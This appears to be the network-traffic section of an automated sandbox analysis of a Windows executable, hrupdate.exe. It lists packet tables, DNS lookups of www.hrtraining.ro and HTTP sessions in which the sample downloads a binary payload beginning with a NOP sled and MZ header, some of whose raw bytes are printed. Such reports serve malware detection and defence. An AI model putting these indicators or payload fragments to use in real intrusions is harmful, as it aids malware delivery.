Dec 19, 2024 22:47:45.519107103 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.519155979 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.520783901 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.520900011 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.520946026 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.522633076 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.522752047 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.522814989 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.524473906 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.524621010 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.524682045 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.526310921 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.526454926 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.526499033 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.528192997 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.528307915 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.528350115 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.530035019 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.530150890 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.530193090 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.531951904 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.532100916 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.532145023 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.533751965 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.533911943 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.533953905 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.535624027 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.535742998 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.535784006 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.537550926 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.537621975 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.537662029 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.539359093 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.539442062 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.539482117 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.541246891 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.541357994 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.541399002 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.543184996 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.543278933 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.543327093 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.656475067 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.656569958 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.656621933 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.657191038 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.657346010 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.657390118 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.658849001 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.658988953 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.659032106 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.660593987 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.660739899 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.660779953 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.662000895 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.662115097 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.662161112 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.663589001 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.663681030 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.663729906 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.665143967 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.665251970 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.665294886 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.666651011 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.666845083 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.666884899 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.668164015 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.668364048 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.668409109 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.669667006 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.669783115 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.669825077 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.671142101 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.671240091 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.671278954 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.672610044 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.672720909 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.672764063 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.674608946 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.674760103 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.674803972 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.675820112 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.675923109 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.675966024 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.677098036 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.677207947 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.677249908 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.678594112 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.678689957 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.678740978 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.680071115 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.680195093 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.680262089 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.681557894 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.681694984 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.681732893 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.683057070 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.683259010 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.683300972 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.684578896 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.684736967 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.684778929 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.686039925 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.686136007 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.686178923 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.687525988 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.687695026 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.687737942 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.689050913 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.689147949 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.689203024 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.690537930 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.690612078 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.690651894 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.692002058 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.692118883 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.692161083 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.693538904 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.693636894 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.693703890 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.694991112 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.695116043 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.695162058 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.696495056 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.696610928 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.696655035 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.698016882 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.698120117 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.698163986 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.699515104 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.699600935 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.699641943 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.701015949 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.701137066 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.701195955 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.702467918 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.702585936 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.702630997 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.703982115 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.704093933 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.704135895 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.705461979 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.705733061 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.705775976 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.707118988 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.707176924 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.707222939 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.708441973 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.708576918 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.708619118 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.709939957 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.709985971 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.710109949 CET	49938	80	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.829502106 CET	80	49938	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.948254108 CET	49946	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.948290110 CET	443	49946	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:45.948363066 CET	49946	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.961430073 CET	49946	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:45.961467028 CET	443	49946	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:47.362474918 CET	443	49946	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:47.362576962 CET	49946	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:47.418261051 CET	49946	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:47.418327093 CET	443	49946	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:47.418678999 CET	443	49946	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:47.418742895 CET	49946	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:47.420763969 CET	49946	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:47.467328072 CET	443	49946	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:48.218329906 CET	443	49946	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:48.218398094 CET	443	49946	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:48.218466997 CET	49946	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:48.218534946 CET	443	49946	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:48.218570948 CET	443	49946	3.79.209.76	192.168.2.5
Dec 19, 2024 22:47:48.218570948 CET	49946	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:48.218600988 CET	49946	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:48.218635082 CET	49946	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:48.218815088 CET	49946	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:47:48.218868971 CET	443	49946	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:01.711493015 CET	49979	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:01.711571932 CET	443	49979	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:01.711666107 CET	49979	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:01.717787027 CET	49979	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:01.717818975 CET	443	49979	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:03.105918884 CET	443	49979	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:03.106050968 CET	49979	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:03.106532097 CET	49979	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:03.106564999 CET	443	49979	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:03.108278990 CET	49979	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:03.108293056 CET	443	49979	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:03.797652006 CET	443	49979	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:03.797713995 CET	443	49979	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:03.797739983 CET	49979	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:03.797791958 CET	443	49979	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:03.797847986 CET	49979	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:03.797847986 CET	49979	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:03.797859907 CET	443	49979	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:03.797899008 CET	49979	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:03.797940969 CET	49979	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:03.797971964 CET	443	49979	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:13.529289007 CET	49980	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:13.529334068 CET	443	49980	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:13.529428005 CET	49980	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:13.529742956 CET	49980	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:13.529757977 CET	443	49980	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:14.915308952 CET	443	49980	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:14.915431023 CET	49980	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:14.916173935 CET	49980	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:14.916184902 CET	443	49980	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:14.918083906 CET	49980	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:14.918091059 CET	443	49980	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:15.610899925 CET	443	49980	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:15.610964060 CET	443	49980	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:15.611021996 CET	49980	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:15.611048937 CET	443	49980	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:15.611062050 CET	49980	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:15.611102104 CET	49980	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:15.611124992 CET	443	49980	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:15.611185074 CET	49980	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:15.611399889 CET	49980	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:15.611414909 CET	443	49980	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:27.284576893 CET	49981	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:27.284636021 CET	443	49981	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:27.284723043 CET	49981	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:27.285027981 CET	49981	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:27.285043955 CET	443	49981	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:28.669029951 CET	443	49981	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:28.669097900 CET	49981	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:28.669615984 CET	49981	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:28.669632912 CET	443	49981	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:28.671854019 CET	49981	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:28.671874046 CET	443	49981	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:29.363706112 CET	443	49981	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:29.363739967 CET	443	49981	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:29.363810062 CET	49981	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:29.363822937 CET	49981	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:29.363826036 CET	443	49981	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:29.363873959 CET	49981	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:29.364164114 CET	49981	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:29.364182949 CET	443	49981	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:44.299640894 CET	49982	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:44.299673080 CET	443	49982	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:44.299771070 CET	49982	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:44.300062895 CET	49982	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:44.300074100 CET	443	49982	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:45.784198999 CET	443	49982	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:45.784590960 CET	49982	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:45.785428047 CET	49982	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:45.785444021 CET	443	49982	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:45.787087917 CET	49982	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:45.787106037 CET	443	49982	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:46.485691071 CET	443	49982	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:46.485812902 CET	443	49982	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:46.485852003 CET	49982	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:46.485872030 CET	443	49982	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:46.485883951 CET	49982	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:46.485927105 CET	49982	443	192.168.2.5	3.79.209.76
Dec 19, 2024 22:48:46.485959053 CET	443	49982	3.79.209.76	192.168.2.5
Dec 19, 2024 22:48:46.486006021 CET	49982	443	192.168.2.5	3.79.209.76

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 22:45:41.506064892 CET	61432	53	192.168.2.5	1.1.1.1
Dec 19, 2024 22:45:41.901235104 CET	53	61432	1.1.1.1	192.168.2.5
Dec 19, 2024 22:47:45.803864956 CET	52583	53	192.168.2.5	1.1.1.1
Dec 19, 2024 22:47:45.944801092 CET	53	52583	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 22:45:41.506064892 CET	192.168.2.5	1.1.1.1	0x5338	Standard query (0)	www.hrtraining.ro	A (IP address)	IN (0x0001)	false
Dec 19, 2024 22:47:45.803864956 CET	192.168.2.5	1.1.1.1	0xaecc	Standard query (0)	www.hrtraining.ro	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 22:45:41.901235104 CET	1.1.1.1	192.168.2.5	0x5338	No error (0)	www.hrtraining.ro	ec2-3-79-209-76.eu-central-1.compute.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 22:45:41.901235104 CET	1.1.1.1	192.168.2.5	0x5338	No error (0)	ec2-3-79-209-76.eu-central-1.compute.amazonaws.com		3.79.209.76	A (IP address)	IN (0x0001)	false
Dec 19, 2024 22:47:45.944801092 CET	1.1.1.1	192.168.2.5	0xaecc	No error (0)	www.hrtraining.ro	ec2-3-79-209-76.eu-central-1.compute.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 22:47:45.944801092 CET	1.1.1.1	192.168.2.5	0xaecc	No error (0)	ec2-3-79-209-76.eu-central-1.compute.amazonaws.com		3.79.209.76	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.flntp.ro

www.hrtraining.ro

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	3.79.209.76	80	6664	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 22:45:42.024553061 CET	58	OUT	GET /trakingu/user HTTP/1.0 Host: www.hrtraining.ro
Dec 19, 2024 22:45:43.281513929 CET	321	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:45:43 GMT Content-Type: text/html Content-Length: 162 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49938	3.79.209.76	80	6664	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 22:47:43.627811909 CET	62	OUT	GET /trainingcheck_v5498 HTTP/1.0 Host: www.hrtraining.ro
Dec 19, 2024 22:47:44.887485981 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:47:44 GMT Content-Type: application/octet-stream Content-Length: 278025 Last-Modified: Mon, 04 Nov 2024 13:31:08 GMT Connection: close ETag: "6728cc9c-43e09" Accept-Ranges: bytes Data Raw: 90 90 90 90 90 90 90 90 90 4d 5a 52 45 e8 00 00 00 00 5b 89 df 55 89 e5 81 c3 e3 ba 00 00 ff d3 68 f0 b5 a2 56 68 04 00 00 00 57 ff d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 af ba e0 52 13 9e cc 0e 84 15 0a 33 f1 4c 79 ae a8 e7 72 2c 30 7b a4 b7 23 50 7f 8f 4d 94 b9 2f 67 54 df 12 db b4 48 7a ec 0f 66 bd 63 0e 7d f4 17 64 c4 e6 57 80 fe 45 10 20 f6 ed 9f c8 be f6 75 c4 f1 dc 8b 05 34 bc 0b ad 20 fc 3b 8c 77 d1 d7 1a 65 87 ae a1 37 ff 4d 63 75 ac 19 42 e3 45 70 fd f5 ca 3e 21 14 91 1c 54 e8 71 d2 3f 98 89 d2 bc f1 74 36 25 a2 3b b8 c4 16 42 0e d2 1d a7 b3 c1 eb f8 7f 27 2e 7f bf 4b e7 8c 15 98 b0 97 f3 82 0f 98 a6 d2 15 37 d3 e0 43 a2 a6 84 b8 60 dd 57 8d 8c ce a0 b6 aa 79 c2 72 6b 07 98 5d 83 4e 4f 00 00 4c 01 04 00 40 44 25 58 00 00 00 00 0b e2 0e 71 e0 00 03 31 0b 01 09 00 00 c4 02 00 00 f8 01 00 00 00 00 00 c0 ed 09 00 00 10 00 00 00 e0 02 00 00 00 00 10 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 47 00 00 04 00 00 00 [TRUNCATED] Data Ascii: MZRE[UhVhWR3Lyr,0{#PM/gTHzfc}dWE u4 ;we7McuBEp>!Tq?t6%;B'.K7C`Wyrk]NOL@D%Xq1 G@{Qjd0(%kU `%j!@@%oj4f@%kd"$@B2DV}6]QO")22gb=Vs>)1Uf)TbPg~`f<*AY!Rt%By~3R=NOY;#yXG9#iz:gZ}K5v;B$]D'd#2Lpc.=/Z_%"DR2I9KI}bh{.brn#/\l?J$<-tevr\|d+$#/`/
Dec 19, 2024 22:47:44.887603998 CET	1236	IN	Data Raw: 5c 99 5d 82 0a a3 45 b1 3e 3c 15 7c c8 7f e2 f0 09 a1 3c 6c d6 66 d5 66 fe 81 82 e5 87 89 51 e2 f7 53 2c e8 c6 00 03 18 6d c6 69 2c 14 ac 12 2f ce 0a 58 17 47 87 18 00 00 00 00 5d b5 b7 21 0a e2 0e fa fb 5d e6 01 0f f2 fd d4 54 25 0b 91 7b e6 1e Data Ascii: \]E><\|<lffQS,mi,/XG]!]T%{p/'87H&2qX$(Kqi~{Vk{qJqqDa&ay{u0z'Zk_y80L(k_e{z*q&
